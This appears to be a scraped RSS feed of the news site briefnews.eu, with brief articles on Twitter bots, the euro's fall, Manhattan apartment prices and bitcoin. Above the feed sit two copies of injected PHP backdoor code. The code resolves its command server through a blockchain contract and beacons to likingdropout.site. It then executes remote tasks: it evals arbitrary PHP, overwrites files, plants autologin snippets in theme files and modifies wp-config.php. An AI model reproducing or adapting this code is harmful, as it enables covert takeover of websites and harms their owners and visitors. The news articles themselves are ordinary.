// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); below – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 09 Sep 2022 01:51:55 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png below – Brief News https://briefnews.eu 32 32 Twitter bots appear to be be in line with the company’s estimate of below 5% — but you wouldn’t know it from how much they tweet, researchers say https://briefnews.eu/twitter-bots-appear-to-be-be-in-line-with-the-companys-estimate-of-below-5-but-you-wouldnt-know-it-from-how-much-they-tweet-researchers-say/ https://briefnews.eu/twitter-bots-appear-to-be-be-in-line-with-the-companys-estimate-of-below-5-but-you-wouldnt-know-it-from-how-much-they-tweet-researchers-say/#respond Fri, 09 Sep 2022 01:51:55 +0000 https://briefnews.eu/twitter-bots-appear-to-be-be-in-line-with-the-companys-estimate-of-below-5-but-you-wouldnt-know-it-from-how-much-they-tweet-researchers-say/ A hand holds a phone with Twitter's logo on the screen in front of an American flag.
Twitter and Meta found an influence network promoting US interests.

Budrul Chukrut/SOPA Images/LightRocket via Getty Images

  • Fewer than 5% of monetizable user accounts on Twitter are controlled by bots, according to digital intelligence provider Similarweb.
  • But bots still account for around 21%-29% of US content on Twitter.
  • Elon Musk has been hedging on his deal to buy Twitter due to concerns of the number of spam bots on Twitter.

Since July, Elon Musk has been having second thoughts about his decision to buy Twitter, leading up to his intention to quash the $ 44 billion deal. One of his concerns, he says, is the number of spam "bots" running rampant on the platform. 

Musk says he believes that bots comprise upwards of 20% of accounts on Twitter. 

Twitter, meanwhile, says that the number of bots on the platform is marginal — less than 5%.

Research published Thursday by the digital intelligence provider Similarweb seems to corroborate Twitter's claims — even though the amount of tweets generated by those bots may make it appear otherwise.

Bots are automated accounts that help drive traffic on Twitter. They operate just like accounts controlled by human users— retweeting posts, liking posts, and following other accounts. 

Bots affect a metric known as mDAU, or monetized daily active users. However, the more bots there are, the fewer actual, human mDAUs there are. Ultimately, advertisers, marketing agencies, and companies want to reach real humans. 

In Similarweb's study, the method wasn't to find the ratio of bots but to instead estimate the number of real human users, according to the company's CTO Ron Asher. 

He added that "in a nutshell" Similarweb's data supports the finding that Twitter's estimates are reasonable.

Yet the study also found a grain of truth in Musk's claims. 

Similarweb reported that 20%-29% of content in the US on Twitter is generated by bots. The study also found that only 19% of real, authenticated Twitter users in the US generate content everyday. 

Similarweb noted that "not all bots are evil" — but some can pose serious threats.  

"The issue is more with bots that evade that officially sanctioned path, faking human interaction. Often, they do this so they can artificially inflate sentiment for and against stocks, products, politicians, or causes," Similarweb noted. "Twitter says it tries to identify and eliminate as many of these frauds as possible but admits those countermeasures are not perfect." 

 

Read the original article on Business Insider

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]]> https://briefnews.eu/twitter-bots-appear-to-be-be-in-line-with-the-companys-estimate-of-below-5-but-you-wouldnt-know-it-from-how-much-they-tweet-researchers-say/feed/ 0 The euro just dropped below $0.99 for the first time in 20 years after Russia halted gas flows https://briefnews.eu/the-euro-just-dropped-below-0-99-for-the-first-time-in-20-years-after-russia-halted-gas-flows/ https://briefnews.eu/the-euro-just-dropped-below-0-99-for-the-first-time-in-20-years-after-russia-halted-gas-flows/#respond Mon, 05 Sep 2022 09:31:17 +0000 https://briefnews.eu/the-euro-just-dropped-below-0-99-for-the-first-time-in-20-years-after-russia-halted-gas-flows/ A man's hands hold dollar, euro and Turkish lira bills in a foreign exchange office.
A surge in the dollar has hammered other currencies such as the euro.

Tunahan Turhan/SOPA Images/LightRocket via Getty Images

  • The euro dropped below $ 0.99 for the first time in two decades after Russia halted the flow of natural gas.
  • A surge in the dollar piled pressure on other major currencies, with investors flocking towards the "safe-haven" asset.
  • Analysts expect the eurozone economy to tip into a recession in the coming months as the energy crisis bites.

The euro has dropped below $ 0.99 for the first time in two decades after Russia halted the flow of natural gas through a key pipeline, intensifying the risk of a deep recession.

The currency of the 19-member eurozone was down 0.44% to $ 0.991 on Monday morning. It had earlier fallen to $ 0.988, its lowest level since the fall of 2002.

Fears about the global economy sent investors flocking towards the dollar, which is seen as a safe-haven asset. The dollar index was up 0.46% to a 20-year high of 110.04.

Russia announced it was halting the flow of natural gas to Europe through the Nord Stream 1 pipeline indefinitely on Friday, after closing it for maintenance on Wednesday.

State-owned company Gazprom said it would pause flows until it fixed an oil leak in a turbine. Yet many analysts noted the suspension came after G7 finance ministers finalized a deal to try to cap Russian oil prices.

Tensions in Europe have been running extremely high since Russia invaded Ukraine in late February.

Prior to Wednesday, Russia had already slashed the flow of natural gas through Nord Stream 1, which runs into Germany, to just 20% of capacity. The squeeze on energy supplies has sent both natural gas and electricity prices skyrocketing, although they fell last week.

Friday's closure sent natural gas prices soaring back towards record highs on Monday. Dutch TTF natural gas futures, the European benchmark price, were up 32.61% on Monday to 276.50 euros ($ 274 per megawatt hour), putting them on track for their biggest daily increase since May.

Many analysts and economists now expect the eurozone economy to fall into a recession in the coming months as households and businesses cut back on their energy use. That's weighed heavily on the euro, which was down almost 13% from $ 1.137 at the start of the year.

Meanwhile, the Federal Reserve's aggressive interest rate hikes have pulled investors back towards dollar assets, sending the greenback soaring and crushing other major currencies. The dollar index has surged roughly 15% this year.

"Offering 2.3% overnight deposit rates and backed by near energy independence and a relatively strong US economy, it should not be a surprise to see the dollar remaining bid," said Chris Turner, strategist at ING.

Britain's pound has also come under heavy pressure as the country struggles with its own energy crisis. The pound was down 0.23% to $ 1.148 Monday, and has dropped more than 15% since the start of January.

Naaem Aslam, a strategist at trading platform Avatrade, said: "it seems like traders are losing their faith when it comes to the Euro-dollar or Sterling-dollar."

He added: "Consumers are struggling every day and worried about their energy bills. There is no short fix for this, given the nature of the economic health of the EU and UK, and a major disaster could be on the horizon."

Read the original article on Business Insider

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]]> https://briefnews.eu/the-euro-just-dropped-below-0-99-for-the-first-time-in-20-years-after-russia-halted-gas-flows/feed/ 0 The price of a typical Manhattan apartment just fell below $1 million for the first time in 3 years https://briefnews.eu/the-price-of-a-typical-manhattan-apartment-just-fell-below-1-million-for-the-first-time-in-3-years/ https://briefnews.eu/the-price-of-a-typical-manhattan-apartment-just-fell-below-1-million-for-the-first-time-in-3-years/#respond Thu, 03 Jan 2019 20:20:55 +0000 http://briefnews.eu/the-price-of-a-typical-manhattan-apartment-just-fell-below-1-million-for-the-first-time-in-3-years/ Manhattan

  • Real estate in Manhattan has been moving toward a buyers’ market.
  • The median sales price of units sold in Manhattan fell 6% in the final three months of 2018.
  • The fourth quarter marked the first time in three years that the figure was below $ 1 million.

In the latest sign that Manhattan is heading toward a softer real-estate market, the typical cost of housing sold fell below $ 1 million during the final stretch of 2018 for the first time in three years.

The median sales price of units sold in the borough fell nearly 6% from the same period last year to $ 999,000 from October to December, according to a report from listing broker Douglas Elliman Real Estate, the lowest since 2015. Though the rate of decline is steadying, the number of total sales fell for a fifth straight quarter.

See the rest of the story at Business Insider

NOW WATCH: The equity chief at $ 6.3 trillion BlackRock weighs in on the trade war, a possible recession, and offers her best investing advice for a tricky 2019 landscape

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SEE ALSO: The housing market is cooling off — and uncertainty isn’t helping

]]> https://briefnews.eu/the-price-of-a-typical-manhattan-apartment-just-fell-below-1-million-for-the-first-time-in-3-years/feed/ 0 Bitcoin nosedives below $4,000, crashing through 2nd milestone in a week https://briefnews.eu/bitcoin-nosedives-below-4000-crashing-through-2nd-milestone-in-a-week/ https://briefnews.eu/bitcoin-nosedives-below-4000-crashing-through-2nd-milestone-in-a-week/#respond Sun, 25 Nov 2018 06:55:37 +0000 http://briefnews.eu/bitcoin-nosedives-below-4000-crashing-through-2nd-milestone-in-a-week/ Bitcoin (BTC) has hit a 14-month low, trading below the $ 4,000 threshold for the first time since last year, shedding thousands of virtual coins since the start of the week.

BTC experienced a nosedive (to around $ 3,750) on Saturday evening, falling by 14 percent in a day and a staggering 25 percent since Monday, when it plummeted to below $ 5,000. The downward trend has not been limited to bitcoin, as the day saw almost all top cryptocurrency tokens losing their value in double digits.

Read more


© Reuters / Dado Ruvic

The last time bitcoin traded below $ 4,000 was in August 2017 at the start of the cryptocurrency craze, which saw bitcoin shooting through the roof and eventually peaking at $ 20,000 before Christmas.

Since reaching its pinnacle in December last year, bitcoin has been gradually losing value. However, this week the situation has taken a distinctive turn for the worse, given that in previous weeks it was trading in the mid $ 6,000s.

There have been several theories as to what has led to the disastrous plunge. The most common explanation has been the ongoing battle between the developers of Bitcoin Cash (BCH), a bitcoin off-shoot that was created in mid-2017 by a group of developers seeking to increase its block size limit.

The group itself then split into Bitcoin Cash and Bitcoin Cash Satoshi Version on November 15, and since then they have reportedly been waging a merciless war with each other, dumping large quantities of bitcoins onto the market in the process.

Some, however, say that bitcoin’s slump can be blamed on the usual suspect – the threat of the US financial watchdog tightening crypto regulations and scaring off potential investors.

Last Friday, The Securities and Exchange Commission (SEC) released a statement, saying that it would compel some companies holding ICOs (Initial Coin Offerings) to treat their coins as securities, meaning that they will be vulnerable to lawsuits by investors if the tokens falter.

